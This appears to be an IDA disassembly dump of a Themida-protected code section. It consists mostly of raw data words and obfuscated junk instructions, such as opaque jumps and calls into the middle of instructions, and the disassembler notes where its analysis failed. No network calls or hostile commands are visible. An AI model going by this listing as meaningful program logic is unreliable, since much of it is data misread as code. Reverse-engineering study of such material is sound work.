dd 8EB2DD87h, 0AE9h, 0A1C1CF00h, 0DD80B8AFh, 0F264237h
dd 183h, 8B66F500h, 0E88150C1h, 4C2C343h, 10E96058h, 14000000h
dd 853425DCh, 84A50AF1h, 3D1C7EFAh, 60E666BDh, 5B40B966h
dd 6E8h, 28A8CD00h, 5FF1C0ABh, 8B666161h, 8E9C3h, 0DB290000h
dd 9D4901A1h, 8B6600ADh, 7ED580D0h, 0DBE53F9h, 5B6853CEh
dd 6F0EB866h, 14E9F98Bh, 65000000h, 0A442FD3Eh, 6CDB6E7Dh
dd 0DCD02AEEh, 0A4C18881h, 6617856Ah, 0BF0FC18Bh, 4880FD6h
dd 66000000h, 0FCFF92BEh, 60F9CB8Ah, 0E9F9BF0Fh, 0Ch, 85CA5300h
dd 0D56DCBB7h, 0BA7BCFFFh, 48D0F61h, 66000000h, 0F060EBFh
dd 12E9D1B7h, 1000000h, 3E4D7E0Dh, 4FC20815h, 4F80BA76h
dd 0B4DCD44h, 4AD880B5h, 547870BAh, 0CE81660Bh, 9E97BDAh
dd 1F000000h, 63270E6Ah, 3BAF3A65h, 6E9h, 21603800h, 0F8D8B4Eh
dd 0F51F1BFh, 38Ch, 0D8BF0F00h, 86C3BE59h, 816609E9h, 0B5D736D9h
dd 24DA8182h, 66081321h, 66C177BAh, 0B9DC18BAh, 5C430396h
dd 58B0Fh, 81660000h, 0F33DDC1h, 128Bh, 7E800h, 0BFA30000h
dd 7D8FA095h, 4D87BF17h, 605A3AB0h, 6E9h, 0C768900h, 818FBDDCh
dd 1CCACDF6h, 0BBF5614Eh, 4354325Ah, 0FA0CE80h, 5651C0BFh
dd 12E9h, 46120D00h, 2B69DB71h, 97CCDC2Dh, 0F823B354h
dd 5E4349AFh, 0E8D48A5Bh, 0Bh, 0E64D16F5h, 0BACC11A4h
dd 8BF24F9Eh, 0F2805BF8h, 0CE85382h, 31000000h, 0EC879EC2h
dd 0DE26BAC4h, 667E58BAh, 5A551ABEh, 8E85Fh, 59B50000h
dd 8DB81257h, 0D68B2C60h, 66D98B5Bh, 649BEA81h, 0B201D980h
dd 0DE8CDh, 7DA80000h, 0F3C1F14Ah, 44EEBEF7h, 0F51ECB32h
dd 0F71B05Ah, 683h, 0EE08100h, 0F3F727Bh, 285h, 8BCE8B00h
dd 0F88B53C8h, 66ECB258h, 0EB80FE8Bh
dd 0E9F98A99h, 0Ah, 0FF516ED3h, 0EBCC906Bh, 0E9502F5Dh
dd 7, 9D44374h, 5AEAA991h, 0BE8h, 0E7D22600h, 0AB08940Dh
dd 0B0EF5A60h, 9E8h, 0E256BB00h, 95578211h, 81664208h
dd 5B6BE7F6h, 0BF60605Bh, 89B0745h, 9E8h, 80F25D00h, 2AF00357h
dd 61589DE2h, 9E861h, 630D0000h, 5011C08Bh, 0E95B422Ah
dd 9, 8E57E5D7h, 71DB19B8h, 870F5956h, 16h, 0BE8h, 0D266A100h
dd 8F7DB727h, 0D8F31470h, 3F3C69B9h, 0E0815F0Bh, 4CFBB698h
dd 66EBB7F5h, 0B4CDC181h, 0E9F5CF8Bh, 10h, 0D5ABFBB0h
dd 6FDC562Dh, 3D476475h, 49196666h, 2FCE8166h, 0A830BBF7h
dd 0EE87290h, 0A8000000h, 2C997174h, 0FE784EBCh, 0F9464AC0h
dd 0AE9C0h, 0A97C0000h, 8A02186Fh, 28507F27h, 60D0B15Eh
dd 28A0Fh, 0F78B0000h, 0EE8h, 0A21D3F00h, 0D7420EDFh, 206C9563h
dd 5E8CF8EAh, 0D6BE6661h, 0DF816695h, 13E87988h, 0A1000000h
dd 91F6961Eh, 0A3069DF8h, 0CF6B0CD3h, 927C437h, 6E880D2h
dd 0B7000000h, 0A5158DB7h, 59616085h, 0EE958h, 0A2520000h
dd 0C8A5464Eh, 0AFBC1B3Ch, 0C4690AADh, 816628B6h, 0FAEBECFh
dd 0F56F9BFh, 0F89h, 9E800h, 0FD470000h, 3473DED1h, 5E2CF6BBh
dd 0FF38B5Eh, 0BB66F3B7h, 820FB6D2h, 3, 8AF1B70Fh, 0E98160D5h
dd 39638758h, 2860F61h, 8B000000h, 9E9F3h, 992C0000h, 91106F11h
dd 0F6EB632h, 138Ah, 0AE800h, 59680000h, 9F32B04Ch, 90BA66B9h
dd 59FFB70Fh, 0E8B3E180h, 0Eh, 3E3A4A3Ch, 82AC9664h, 0FF854224h
dd 0B70F033Fh, 666058CFh, 0F1F0D681h, 8161E28Ah, 0A518FECAh
dd 8E912h, 58370000h, 35101395h, 8B669246h, 0FCFB8BC8h
dd 8C0F6160h, 0Ch, 7E9h, 7BB65900h, 6C4B8B3h, 0FE856h
dd 17A30000h, 0F3B9B204h, 0F17773EFh, 126F0364h, 8B5A5FE0h
dd 0E68166D9h, 0EA80121Ah, 0C830F79h, 0F000000h, 68Ah
dd 2D88100h, 0BE7A36CAh, 7B8A2ABFh, 0C081CB8Bh, 6A87AFB6h
dd 33FFBFFCh, 0D9806BBCh, 0D1B70F86h, 0AE8h, 90EBA100h
dd 43CAD94Ch, 81B37452h, 3C4096C1h, 0EC805843h, 0CE886h
dd 0D4AE0000h, 0ECE8D98Ah, 445B9DD7h, 0F3801A49h, 0B70F5A2Dh
dd 6850FF2h, 51000000h, 0C28BF66h, 64CDBE5Fh, 0F78B3BA0h
dd 0FDEC180h, 1088h, 7E800h, 0ED410000h, 9F03D4h, 0F98B66ABh
dd 7EE1B85Eh, 0BB663EB5h, 0B70F8AF0h, 11E957CFh, 57000000h
dd 7FAA9EAFh, 3079D9FDh, 3F0B3F37h, 698791BFh, 3870F5Ah
dd 0F000000h, 0AE9D0B7h, 1D000000h, 5FB824F0h, 0F0C331B6h
dd 0D881666Ah, 5E9554Ah, 89000000h, 3D1890D7h, 0DE95053h
dd 0F7000000h, 91846A1Dh, 46ADB3DEh, 23F5555Ah, 0F18B5E5Ah
dd 2DD08166h, 0FE9F7h, 6A240000h, 67D72605h, 0B2C23DCBh
dd 5DD0D137h, 0C3816636h, 0FE94C7Bh, 27000000h, 190CC9BFh
dd 2C055847h, 633E7308h, 13E956F2h, 2E000000h, 8D28BA4Eh
dd 4AD57650h, 0FCA228D9h, 5BFB004Fh, 36BBBDCAh, 0E80A89EEh
dd 11h, 9130C3F1h, 73A4F8D2h, 19E1089Ah, 295776C2h, 5840F57h
dd 0BF000000h, 1F8D88DEh, 8E95Fh, 5A20000h, 9449B2Eh, 0BF0FE7A1h
dd 18F0FF9h, 0FC000000h, 8BDE8B66h, 0D025B8CEh, 7DB62B2Fh
dd 10820Fh, 0BE90000h, 72000000h, 82C654BCh, 51EFE146h
dd 0CE81C0Eh, 81000000h, 3F7DA711h, 4CA9DBB1h, 8B963560h
dd 8B665ECFh, 0E839B0D6h, 7, 17F7426Eh, 0FF80788h, 0E95BF3BFh
dd 12h, 98FE002Ch, 3CC6669Dh, 0A9E3FD79h, 0CA0F8E84h, 33BE1BB9h
dd 6649C176h, 2D94DA81h, 6660C88Bh, 6661F38Bh, 6E85CE81h
dd 18E0Fh, 0E9FC0000h, 0Dh, 0A3EDD65Fh, 7EB47740h, 0C5F2C016h
dd 870FF908h, 10h, 0BE9h, 2EF5AE00h, 0E9F2DC0Bh, 0DFDB8F6Eh
dd 0FF0BF0Fh, 84h, 12E900h, 6B110000h, 6E2A6412h, 0CBC7044Ah
dd 5769CF5Dh, 30E161A2h, 5E9h, 0C20E5F00h, 8D0F1A25h, 2
dd 8B66B1B5h, 0F78166CEh, 0B70FBAC7h, 9DD680FFh, 8F0F60F8h
dd 0Dh, 8E9h, 3AB5CA00h, 1951E01Fh, 61B0B192h, 896FE081h
dd 88B04697h, 8166FE8Bh, 0F0B8EEEh, 68Fh, 0A4C78100h, 8B53F039h
dd 0B3B6F5F7h, 0BA66F38Bh, 7E9FF57h, 4E000000h, 3CC8A546h
dd 66F5BC1Bh, 6650EDBEh, 0B8458EB8h, 0CB94BFAh, 8C0FCE8Bh
dd 0Bh, 5820Fh, 0E4BF0000h, 0F08BF52h, 1987h, 14E900h
dd 0B8CC0000h, 783C3737h, 9F935CACh, 988BFBD0h, 0CCA68A0h
dd 81664ED0h, 8166EBE9h, 68A724C6h, 5E874h, 196A0000h
dd 80787B45h, 0F5BF2F3h, 28Bh, 0E8FE8B00h, 6, 2BCE00DCh
dd 10E8AF68h, 7000000h, 6FC39665h, 0D513C852h, 0FFEF2F45h
dd 0E9CDEE79h, 0Bh, 46E4A40Bh, 3D147A63h, 58D705E5h, 5860F5Ah
dd 66000000h, 4BCDEE81h, 8AD3BF0Fh, 11E9E6h, 70CB0000h
dd 9F232810h, 0F9BD0E60h, 50667F4Dh, 0B1C19CE9h, 0E8606049h
dd 0Dh, 473E6F9Fh, 0AAD27B67h, 9A3F409Bh, 61605E3Ch, 13E86061h
dd 0B3000000h, 48A8ED6Dh, 0E22E1A16h, 0B38B64F9h, 93BABB48h
dd 805958DDh, 6161CBECh, 6E9h, 0A7824100h, 0E9CE6814h
dd 0Dh, 1BC4FB6Bh, 2A9D74A4h, 804652Dh, 5840FBBh, 0B8000000h
dd 644A7CE5h, 0CD56B966h, 12E8h, 0F77F6400h, 88670EAAh
dd 40D4EC77h, 40B5D8FEh, 53BBBFC9h, 5EDBB70Fh, 8E95Fh
dd 9B340000h, 48591C7Ah, 0E7815A91h, 78A5CACBh, 0B70FEA8Ah
dd 1860FF7h, 0F5000000h, 0DE8h, 0DA368700h, 0C9E3DD14h
dd 0BFEC30C8h, 0FE998A4h, 58000000h, 0CFE49B8Eh, 0DDC06716h
dd 0C513F8F7h, 0FC58B34Fh, 8E8h, 61E7C600h, 1B7B1EECh
dd 148F0FEDh, 0E9000000h, 0Fh, 46E6BF9Eh, 0D8532E8Dh, 81CA6770h
dd 5A1D376Eh, 85F5BF66h, 0C3B70F53h, 0F5BF665Ah, 820F53A1h
dd 12h, 0DE9h, 0BE322900h, 71CDA0E3h, 0CC12E310h, 0E859806Dh
dd 11h, 0E0A71E00h, 30E34E49h, 7CDDCFF1h, 54921221h, 48C3814Ch
dd 5B5F2532h, 11E9h, 7DB99400h, 0BBDFB591h, 6FB2AA33h
dd 5673206Bh, 81662ACAh, 8119BBD6h, 0B96125F2h, 0FCC8A5Eh
dd 6657F1BFh, 53F4EB81h, 0B842B659h, 497C4E3h, 8E960F8h
dd 0DC000000h, 0AB1468CAh, 0F5EA5FBCh, 62F8BF61h, 0E6804433h
dd 0C28B66C7h, 8AC2B70Fh, 55E080CFh, 8A60C68Ah, 14E8D0h
dd 418C0000h, 0A18E7B7h, 3DE6F416h, 688D308Fh, 6BB72571h
dd 81664808h, 5B379AC9h, 57DBBB61h, 0CE84F62h, 13000000h
dd 1F7E4FDAh, 0C8F6CFC4h, 0E81B49D7h, 9, 0E0366DD2h, 0E8273D0Eh
dd 0D0B70F9Ah, 0F505A5Bh, 18Ah, 665AF800h, 0B92CE381h
dd 0F9CA8B66h, 0DE8h, 0F3FD0900h, 0EE514F53h, 6FB986B5h
dd 0C78B4368h, 9DA815Ah, 0BB533E50h, 54AE7A34h, 2850Fh
dd 0F48A0000h, 5ECF8166h, 0DA8B66EEh, 0BF66FCF8h, 0B70F1EF6h
dd 12E9FAh, 88940000h, 0D466CB7Ah, 16E0EE02h, 0A1DE0F42h
dd 0C56EFF2Eh, 4D3BBA66h, 0CE8h, 0FEFD8200h, 3DB9D473h
dd 8359B9F8h, 0D8A0F83h, 0E9000000h, 8, 640F4837h, 1D911551h
dd 0DF8B5759h, 0BE858h, 145E0000h, 0B8473971h, 0A33DF268h
dd 0D78B66D0h, 8166FC5Eh, 0F51B4E6h, 681h, 2AE78100h, 0F7D6307h
dd 8Ah, 3CE28100h, 0B04F1C7Bh, 12E9EAh, 0F13F0000h, 75DBDDBCh
dd 0E38C81F8h, 1E5C492Eh, 1240982Bh, 0C3E38166h, 0C2816672h
dd 870FF427h, 6, 924CF381h, 10E9387Eh, 0A7000000h, 1DB4997h
dd 86EF00C3h, 0A0CDE993h, 803EC897h, 7E9A8DDh, 43000000h
dd 9E2AF47Ah, 8B661EFFh, 0ECF681C1h, 0B83FD349h, 4395A235h
dd 3880Fh, 8B660000h, 0BAF080F1h, 0B20AE081h, 820F6BB0h
dd 5, 0DB9612BAh, 60C28B72h, 61CA8B66h, 80B3CE81h, 0F1B770FBh
dd 0A2C8BF66h, 0F5F3B70Fh, 0E3C78166h, 0C6B70F8Bh, 880Fh
dd 8B660000h, 2870FDFh, 8B000000h, 11860FD7h, 0E9000000h
dd 0Ch, 0FC3E0204h, 281070CBh, 0E609F23h, 7D57E981h, 14E95810h
dd 0F1000000h, 75DBDDBCh, 0E38C81F8h, 1E5C492Eh, 1240982Bh
dd 0FA524BBh, 68Eh, 0D9D18100h, 0E90CA6C5h, 5, 0FDC1532Dh
dd 0AE97Bh, 58F20000h, 89D1CEC6h, 0FD5E11A6h, 0F9DED880h
dd 7DB4D181h, 14E970CAh, 25000000h, 0B8C33935h, 9FEC10F4h
dd 0A10075F3h, 45F24038h, 0E93AA246h, 8, 0C50EB80Dh, 907BDD9Ch
dd 8CF780F5h, 48A0FF9h, 57000000h, 0F5BD78Bh, 580h, 0EF3CB800h
dd 816654ACh, 8A4753C2h, 91D180E2h, 0D98BC68Bh, 811CC880h
dd 605AEFF7h, 0F6BF0F67h, 7EC68166h, 18E0F42h, 0FC000000h
dd 66FEB70Fh, 0BEE498BFh, 3202A708h, 81C7BF0Fh, 894BF3F1h
dd 0F9BF0F72h, 0F60D68Bh, 8Eh, 59F95200h, 0F7CB561h, 68Bh
dd 6CC28100h, 665D728Bh, 8AD5C3BBh, 0F9B70FE6h, 60DABF0Fh
dd 2800Fh, 61600000h, 10E961h, 0BDD50000h, 0E9D700Eh, 0DFB42610h
dd 1D82A720h, 8B0F6587h, 0Ch, 7E9h, 11633300h, 441FFEF1h
dd 40D4BB66h, 11E8h, 63442500h, 8A24CAF0h, 440E8989h, 0E3EA4DD2h
dd 0B9664E2Ch, 0BB5EDE4Bh, 1C98FCD6h, 3A38E381h, 81665276h
dd 6609BFC2h, 4B9ED981h, 0E483B866h, 5D18166h, 0C7E6815Eh
dd 0BF50DBCAh, 2108D3FFh, 81DF8B66h, 0BE5A22D0h, 53BA666Eh
dd 58F0F23h, 0B9000000h, 5D49C11Ah, 0FE9F9h, 58C60000h
dd 171D12BAh, 0A28C0A0Eh, 53A13DB8h, 8BE88A95h, 0AE9F9h
dd 2A9A0000h, 0B65E68C4h, 80880AA2h, 65FCB957h, 0F590897h
dd 8166CBB7h, 0B90DC2D6h, 657AA3A6h, 8B31C280h, 60B051F7h
dd 57CB8A59h, 0B35EDF8Bh, 0BF0FF8F5h, 6830FF9h, 81000000h
dd 2472B8D3h, 3860F5Bh, 66000000h, 8E9CE8Bh, 34000000h
dd 7312C8CBh, 66C3FB48h, 0A4D181h, 0CE8h, 4B5BDA00h, 0A895F7D0h
dd 0AEFA54C0h, 4479BE31h, 6659084Bh, 0BF66F78Bh, 0D8803808h
dd 0DE8E5h, 0A1740000h, 0CC28F364h, 0A917EEE3h, 0FDA0120h
dd 280h, 585B5600h, 6657C28Bh, 5A9721BFh, 11E9h, 3BA3AE00h
dd 6BF42106h, 0E0DC61B7h, 9B438974h, 0FCBECD1Bh, 0B5058BDDh
dd 0D800FE7h, 0E9000000h, 8, 0A88DF01Ch, 3ECCD5E8h, 94C38166h
dd 999BA8Ah, 0D2812A1Eh, 67B003ADh, 5E9h, 0ACA8A100h, 14E8812Ch
dd 0E1000000h, 9860F9A6h, 0BD1E565Fh, 0D78A12C9h, 7475FF9Bh
dd 0BB867D4Ch, 25E74EA0h, 0FDF8B58h, 484h, 0C4B96600h
dd 0D88B66E3h, 18B0Fh, 0E8FC0000h, 7, 0A867EEF3h, 607663E2h
dd 0CE9h, 0C37C3700h, 0DE08314Dh, 34493664h, 36B86689h
dd 665E61C3h, 0C4CFF781h, 0EE9h, 0EBA5BB00h, 55A565F4h
dd 81659836h, 0E94B3F77h, 0Ah, 0F7023F78h, 40253057h, 0E85326D9h
dd 12h, 8A34743Dh, 0C0B0AA39h, 0AA67908Ch, 0C96AC05Eh
dd 5BB5A101h, 0BF0F5858h, 8166F8D1h, 80D842F1h, 810FDFF4h
dd 13h, 0BE857h, 0F8D00000h, 0A6FC2B52h, 0B919F62Eh, 0F5E5908h
dd 281h, 0FF88B00h, 60F5FBB7h, 0C780D78Ah, 0F38B61C3h
dd 0F08B66FCh, 0FC2B70Fh, 689h, 5AEB8100h, 0F6951E7h, 887h
dd 0D9815100h, 5697B1A3h, 13E9F85Bh, 0B8000000h, 28A9EF89h
dd 3681C292h, 147985ECh, 0AF25198Ah, 0BE66B03Ch, 0DA81E2EDh
dd 209A951h, 0DB8166F5h, 0E38A8CCFh, 38E0Fh, 8B660000h
dd 40BE66F9h, 9E8B1h, 229C0000h, 93060D19h, 8BD03369h
dd 0FC5258D0h, 0D9BE665Bh, 0B8BE66F2h, 0F78B66CFh, 0FFD3FFBAh
dd 0F38B6603h, 81D3BF0Fh, 10BDC3C1h, 0E181514Fh, 2803EB0Fh
dd 5E95Bh, 7F320000h, 66895DB5h, 0B966DE8Bh, 0CE97B90h
dd 5C000000h, 0D82DAF3Ch, 730CBB7Ah, 0F9392302h, 9E952h
dd 0F8CB0000h, 0D625D687h, 5FF94FEBh, 3820Fh, 0BF0F0000h
dd 12E9FBh, 5E900000h, 0B87C5E2Eh, 37823147h, 6C65C5A1h
dd 0F4C6EED0h, 10E9h, 0A5A04B00h, 0EE422F62h, 1171DC20h
dd 8C641CF7h, 9E960F4h, 0BE000000h, 8B59B12Dh, 11B58B16h
dd 61CA8B66h, 4F1368B9h, 16870F68h, 0E8000000h, 0Eh, 967455Dh
dd 8DCECA12h, 0AD062F26h, 6160F6FBh, 0EBB9525Fh, 5F7BCA30h
dd 0B0F9C78Bh, 118A0FB5h, 60000000h, 0E8C9BF0Fh, 6, 0AF69F7D4h
dd 61591FB0h, 5E9FC8Ah, 75000000h, 4D47346Fh, 0CE8h, 6BF66000h
dd 0ECAB6419h, 741D31A8h, 5A9BB654h, 14E9h, 96D28F00h
dd 42570952h, 3C7E1A06h, 5DB623F1h, 0DA5CD0Ch, 0F78B665Ah
dd 0CE9h, 0CC0F2000h, 0C0D843D8h, 815B0824h, 38B0F8Dh
dd 66000000h, 0BF0FCA8Bh, 0C8BF0FD8h, 0E6D9FDBAh, 34F58072h
dd 0BA6060F5h, 5FB7E8EEh, 6E96161h, 5E000000h, 0D2C0368Dh
dd 0BE6660F1h, 0FE84BB2h, 0D8000000h, 534C2201h, 0F3168316h
dd 7D280A42h, 6E88FCAh, 0B3000000h, 1589CE0Eh, 61585839h
dd 0CE90FB2h, 0
dd 0C5355933h, 3E0E1B1h, 8027530Bh, 0BB6616F4h, 8B52915Fh
dd 0FE8B5FFEh, 0BE8F5h, 997F0000h, 0C36ED572h, 0C11ED247h
dd 5FCA8BE2h, 3547BF66h, 0F5FABF0Fh, 11E9h, 9ACDEB00h
dd 0D97A06A2h, 5ED9C838h, 0A6A076B5h, 0AE9E38Ah, 46000000h
dd 2C1D1952h, 9D98FE00h, 81666066h, 613F5AEFh, 0B966AAB0h
dd 8E0F2B3Ah, 0
; ---------------------------------------------------------------------------
stc
add ecx, 176F287Bh
jmp loc_60DD89
; ---------------------------------------------------------------------------
dd 75E94B12h
db 0BEh
; ---------------------------------------------------------------------------
loc_60DD89: ; CODE XREF: Themida_:0060DD7Fj
call sub_60DD96
or [esi-74h], esi
out dx, al
or ch, [edi+ebp-54h]
; =============== S U B R O U T I N E =======================================
sub_60DD96 proc near ; CODE XREF: Themida_:loc_60DD89p
jo loc_60DDB4
jmp loc_60DDB4
; ---------------------------------------------------------------------------
db 0E4h, 20h, 32h
dd 62A0122Fh, 481EBBDCh, 24E29B3Ch, 620020A2h
; ---------------------------------------------------------------------------
loc_60DDB4: ; CODE XREF: sub_60DD96j sub_60DD96+6j
pop ebx
mov bh, ah
jmp loc_60DDC3
; ---------------------------------------------------------------------------
les eax, [eax-72h]
xchg eax, ebx
push ecx
push 0FFFFFFA0h
loc_60DDC3: ; CODE XREF: sub_60DD96+21j
and ecx, 70E83116h
jge $+6
push edi
mov cx, 0CEC7h
pop ebx
sbb dl, 3Bh
sub edi, 63BF1CABh
pusha
call near ptr loc_60DDF1+1
or eax, 1E419516h
db 36h
push ebx
and [ebx-7C5D66B1h], cl
loc_60DDF1: ; CODE XREF: sub_60DD96+49p
add ch, al
sub_60DD96 endp ; sp-analysis failed
adc [eax], eax
; ---------------------------------------------------------------------------
db 2 dup(0), 0DAh
dd 89E19872h, 0B471A916h, 0F0AAF980h, 0DCBD436Bh, 0D180585Ah
dd 8160615Dh, 7B3728D2h, 38C0F25h, 0F000000h, 0B261D6B7h
dd 15860F29h, 57000000h, 0EE9h, 0DEE6C700h, 1BCE30FAh
dd 0C3C74CF6h, 5980692Eh, 0F8F0BF0Fh, 9E9h, 525B2300h
dd 81BAB11Ch, 12E92FFEh, 97000000h, 79EAA3CFh, 9F4505E3h
dd 54C19852h, 66265235h, 0E9525159h, 0Eh, 40EC2307h, 0C517AAA6h
dd 0FFD1AC5Bh, 5E59A6EBh, 10E9h, 42DFC600h, 0E9313C3Eh
dd 1A7075E3h, 7BD445B8h, 2860FC9h, 8B000000h, 0F8BF0FCFh
dd 0C480F960h, 606061E6h, 0D281DE8Bh, 1E17EF81h, 0B961F961h
dd 7294E75h, 0C2B70F56h, 0E969B45Fh, 9, 0AAA21600h, 5FB7498Bh
dd 5E97Fh, 0C6D0000h, 0FD9C67Dh, 682h, 0DBD08100h, 0BE4074FDh
dd 7EA734B1h, 0E8A0D880h, 13h, 0C9091C0Ah, 201B8E6h, 0A6122D19h
dd 0DC176B94h, 5F5610DEh, 0BFD88B66h, 11667082h, 0AB17C781h
dd 8B0F3A04h, 0Ah, 5E9h, 5CFDE800h, 8B66BA72h, 0BF0FFCC1h
dd 60C8B5F3h, 2890Fh, 5E500000h, 0FC68166h, 7E9617Ch, 79000000h
dd 60963ABh, 880F3957h, 2, 850FEB8Ah, 3, 0E9F78B66h, 11h
dd 37BC435Ch, 0D5BFE32Bh, 7A12949h, 0A1FF670Bh, 69B966FDh
dd 880FF554h, 0
; ---------------------------------------------------------------------------
jmp loc_60DF85
; ---------------------------------------------------------------------------
db 6Ah, 56h, 73h
db 0CCh
db 7Ch, 86h, 52h
dd 5D5C7659h
db 6Ah
; ---------------------------------------------------------------------------
loc_60DF85: ; CODE XREF: Themida_:0060DF74j
jmp loc_60DF98
; ---------------------------------------------------------------------------
dw 7252h
dd 70D1D780h, 39A6A1E6h, 3E2EFE1Eh
; ---------------------------------------------------------------------------
loc_60DF98: ; CODE XREF: Themida_:loc_60DF85j
or edx, 765E6DF9h
mov si, bx
jo loc_60DFBC
pusha
pusha
popa
jmp loc_60DFBB
; ---------------------------------------------------------------------------
db 31h
dd 3881ECF2h, 8D9E48A0h
db 0F6h, 3Eh, 8
; ---------------------------------------------------------------------------
loc_60DFBB: ; CODE XREF: Themida_:0060DFAAj
popa
loc_60DFBC: ; CODE XREF: Themida_:0060DFA1j
adc ch, 0E0h
sub bx, 922Bh
movsx edi, bx
pusha
push edx
sub ebx, 2F87B072h
pop esi
popa
sub ah, 35h
jb loc_60DFE6
pusha
mov bx, 4A0Ch
jno $+6
popa
loc_60DFE6: ; CODE XREF: Themida_:0060DFD4j
movsx esi, di
add eax, 5F4F6B5Bh
push esi
loc_60DFF0: ; CODE XREF: Themida_:0060E043j
sub dl, 0ACh
pop esi
pusha
pusha
sub eax, 162D6E7Eh
jmp loc_60E009
; ---------------------------------------------------------------------------
db 7, 9Dh, 4Bh
dd 0BA107242h
db 9Ah
; ---------------------------------------------------------------------------
loc_60E009: ; CODE XREF: Themida_:0060DFFCj
popa
jmp loc_60E01C
; ---------------------------------------------------------------------------
db 0B0h
dd 0D7CC9CDEh, 0ECEC6F7Dh, 0AF7D97FBh
; ---------------------------------------------------------------------------
loc_60E01C: ; CODE XREF: Themida_:0060E00Aj
popa
mov ecx, 0EFDFD40h
jmp loc_60E039
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0CCh
db 2Ch, 0A1h, 0ACh
dd 8310D1F7h, 917B3C28h, 0BFCD4E8Bh
; ---------------------------------------------------------------------------
pop ds
loc_60E039: ; CODE XREF: Themida_:0060E022j
call near ptr loc_60E04A+1
div byte ptr [ebx]
idiv dword ptr [esi-9]
jecxz short loc_60DFF0
mov ebp, 46A9D34h
loc_60E04A: ; CODE XREF: Themida_:loc_60E039p
out 51h, eax
mov edi, eax
pop ecx
pop ebx
jmp loc_60E061
; ---------------------------------------------------------------------------
db 97h, 99h, 0DAh
dd 69D55FEDh, 0F246955Dh
db 1Bh
; ---------------------------------------------------------------------------
loc_60E061: ; CODE XREF: Themida_:0060E050j
mov edi, 332F75A3h
jbe loc_60E082
jmp loc_60E082
; ---------------------------------------------------------------------------
db 0C0h, 28h, 73h
dd 7FA2FDDEh, 0E231A7A5h, 9F664492h
db 4Dh, 0D5h
; ---------------------------------------------------------------------------
loc_60E082: ; CODE XREF: Themida_:0060E066j
; Themida_:0060E06Cj
xor edx, 5923C3A7h
or ebx, 7BD21CF8h
adc ax, 0D9D6h
jl loc_60E09B
mov ebx, esi
loc_60E09B: ; CODE XREF: Themida_:0060E093j
pusha
mov dx, 0E30Dh
call near ptr loc_60E0AF+5
xchg eax, ecx
mov ah, 0E0h
pushf
db 2Eh
dec esp
lahf
adc eax, [edx+6Ah]
loc_60E0AF: ; CODE XREF: Themida_:0060E0A0p
xor ebp, [ebx+60D68EADh]
popa
pop eax
popa
add ax, 5CCh
jmp loc_60E0C9
; ---------------------------------------------------------------------------
pop ecx
mov dh, 7Bh
mov bl, 0B8h
les eax, [esi]
loc_60E0C9: ; CODE XREF: Themida_:0060E0BDj
call loc_60E0DD
cmp al, 2Dh
pop ss
push ds
mov word ptr [esi-5EE0BE5Ch], ss
popf
mov ch, 73h
aad 0A5h
loc_60E0DD: ; CODE XREF: Themida_:loc_60E0C9p
mov bl, 34h
pop eax
and bh, 0C6h
mov dx, 5CECh
call loc_60E0F1
rep add al, 8Eh
; ---------------------------------------------------------------------------
db 8Fh
; ---------------------------------------------------------------------------
sti
loc_60E0F1: ; CODE XREF: Themida_:0060E0E7p
sub di, 439Bh
pop ecx
mov ecx, edx
movsx ebx, di
or ebx, 5D9D8A1Eh
mov di, cx
jbe loc_60E10E
movsx edx, cx
loc_60E10E: ; CODE XREF: Themida_:0060E105j
mov di, 9A7Eh
movzx eax, dx
mov edi, ecx
stc
jnz loc_60E11F
clc
loc_60E11F: ; CODE XREF: Themida_:0060E118j
pusha
jnp $+6
pusha
jmp loc_60E13F
; ---------------------------------------------------------------------------
dd 0CFE8E277h, 0B20379CAh, 96AC0A2Eh, 0A6953D84h
; ---------------------------------------------------------------------------
aad 7Ah
xchg eax, esi
loc_60E13F: ; CODE XREF: Themida_:0060E127j
jnz $+6
popa
popa
jno loc_60E14E
cld
loc_60E14E: ; CODE XREF: Themida_:0060E147j
mov bx, di
mov dx, 0CBB9h
mov ax, si
xor esi, 55FC8944h
clc
ja loc_60E178
call sub_60E173
and [edx-3132A876h], dl
; ---------------------------------------------------------------------------
db 8Eh, 0F1h, 5Dh
; =============== S U B R O U T I N E =======================================
sub_60E173 proc near ; CODE XREF: Themida_:0060E165p
; FUNCTION CHUNK AT 0060E19E SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0060E1FF SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0060E227 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0060E259 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0060E289 SIZE 00000035 BYTES
mov di, 61A5h
pop ebx
loc_60E178: ; CODE XREF: Themida_:0060E15Fj
js loc_60E19E
call near ptr loc_60E196+1
imul byte ptr [eax+302F40ABh]
in eax, dx
dec ebp
stosd
test dword ptr [esi], 0CD8588A5h
test [edx+58h], ah
setalc
loc_60E196: ; CODE XREF: sub_60E173+Bp
loopne loc_60E1A7
sub_60E173 endp ; sp-analysis failed
mov eax, [eax]
; ---------------------------------------------------------------------------
dw 0
db 0, 58h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_60E173
loc_60E19E: ; CODE XREF: sub_60E173:loc_60E178j
mov ax, si
jnb loc_60E1AC
loc_60E1A7: ; CODE XREF: sub_60E173:loc_60E196j
mov esi, 79E51E73h
loc_60E1AC: ; CODE XREF: sub_60E173+2Ej
jz loc_60E1B7
or cx, 6662h
loc_60E1B7: ; CODE XREF: sub_60E173:loc_60E1ACj
call near ptr loc_60E1CD+1
xchg eax, edi
jg short loc_60E1FF
mov bl, 0EFh
mov bl, 6Ch
db 26h
push 0C8314C0h
cmp edi, [ecx]
sbb [edx], ebp
loc_60E1CD: ; CODE XREF: sub_60E173:loc_60E1B7p
shr ecx, 0Bh
; END OF FUNCTION CHUNK FOR sub_60E173
; ---------------------------------------------------------------------------
dd 93000000h, 127E98C9h, 92F0F99h, 0F959486Ah, 4BE38166h
dd 6E96052h, 0BB000000h, 122004BDh, 0EFBA665Bh, 816661D3h
dd 8165ABD1h
db 0D0h, 83h, 27h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_60E173
loc_60E1FF: ; CODE XREF: sub_60E173+4Aj
mov bh, 27h
jl loc_60E20B
pusha
pusha
popa
popa
loc_60E20B: ; CODE XREF: sub_60E173+8Ej
movzx edi, si
movsx ebx, di
push eax
push edi
jmp loc_60E227
; END OF FUNCTION CHUNK FOR sub_60E173
; ---------------------------------------------------------------------------
dd 0D08E3F94h, 1A76EF70h, 652A458Eh
; ---------------------------------------------------------------------------
pop ebx
or al, 93h
